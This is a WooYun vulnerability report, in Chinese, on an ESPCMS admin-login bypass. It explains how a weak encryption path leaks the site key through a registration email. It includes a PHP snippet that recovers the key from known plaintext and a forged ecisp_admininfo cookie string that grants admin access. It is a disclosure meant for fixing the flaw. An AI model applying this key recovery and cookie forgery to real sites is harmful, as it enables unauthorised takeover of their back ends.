当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0136897

漏洞标题:ESPCMS的最新版后台登入绕过

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: 路人甲

提交时间:2015-08-31 16:45

修复时间:2015-12-04 16:47

公开时间:2015-12-04 16:47

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-31: 细节已通知厂商并且等待厂商处理中
2015-09-05: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-10-30: 细节向核心白帽子及相关领域专家公开
2015-11-09: 细节向普通白帽子公开
2015-11-19: 细节向实习白帽子公开
2015-12-04: 细节向公众公开

简要描述:

8.25
V6.4.15.08.25
捡漏

详细说明:

在加密算法那 ,一般情况下我们是不能再还原出key了。
他加了这么一段代码

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
if (extension_loaded('mcrypt') && $mcrype) {
$result = $this->encryptCookie($string, $key);
} else {......


調用的是php自带的 加密函数。
看到有人提交过 这个 http://wooyun.org/bugs/wooyun-2010-098132
当 mcrype 为 false时 就能用以前的有漏洞的算法加密了。
全局搜索下

, FALSE);

看看是否还有其他地方加密时 mcrype为false。
找到一处/public/class_connector.php

function get_link($module = null, $read = array(), $lng_temp = '', $pagekey = 0, $patyclass = 0, $is_wap = 0) {
.......
switch ($module) {
......
case 'member_ucenter':
$username = $this->fun->eccode($read['username'], 'ENCODE', db_pscode, FALSE);
$password = $this->fun->eccode($read['password'], 'ENCODE', db_pscode, FALSE);
$link = "index.php?ac=member&at=uccheckuser&key=" . $username . '&code=' . $password;
break;


这里加密password 时 mcrype 是为 false的。
然后全局搜索下

get_link('member_ucenter

看看那个文件調用了。
/interface/member.php

function in_logindb() {
.........
else {
if ($rsMember['isclass'] == 2) {
$linkURL = $this->get_link('member_mailsend', $rsMember, admin_LNG);
$this->callmessage($this->lng['username_check'], $linkURL, $this->lng['checkemail_send'], 1, $this->lng['gobackbotton']);
}


是登入的一个地方。 我们前台注册用户, 然后登入时 会将 md5(password) 以 mcrype 为 false的形式发送到我们的注册邮箱。
因为 password 是我们可以控制的 所以可以还原出 key
-------

漏洞证明:

注册个用户 密码为 aaaaaa11
得到md5值 c683890bddd853417ba6fac6f2de5c4c
然后登入 查看邮箱,

111.png


得到加密后的值 填入 poc

$text = "c683890bddd853417ba6fac6f2de5c4c"; 
$cookie = "nGxpbJmbacSVmpZslphsZ5mUkW6fxclqy2nGnpucbZk";
$bincookie = base64_decode($cookie);
for ($j=0; $j < strlen($text); $j++) {
echo chr( ord($bincookie[$j]) - ord($text[$j]) );
}


获取到 key后

22.png


再用 mcrype 为 true 的形式加密一次

echo eccode('1|admin|a6b19ac665d2c7f570d931740788613d|1b1a9fe8dea603b93684d610b5808c02|1|1|ec3da02dc2712a9d1386a654155b6094','ENCODE','619ab9b1624ae86b2089df4e7b9f99',true);    //1|admin|md5(password)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)


添加cookie ecisp_admininfo 为加密后的值 就能登入后台了。

xx.jpg

修复方案:

加密的地方 全部搜索下 , false改为 true

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-04 16:47

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无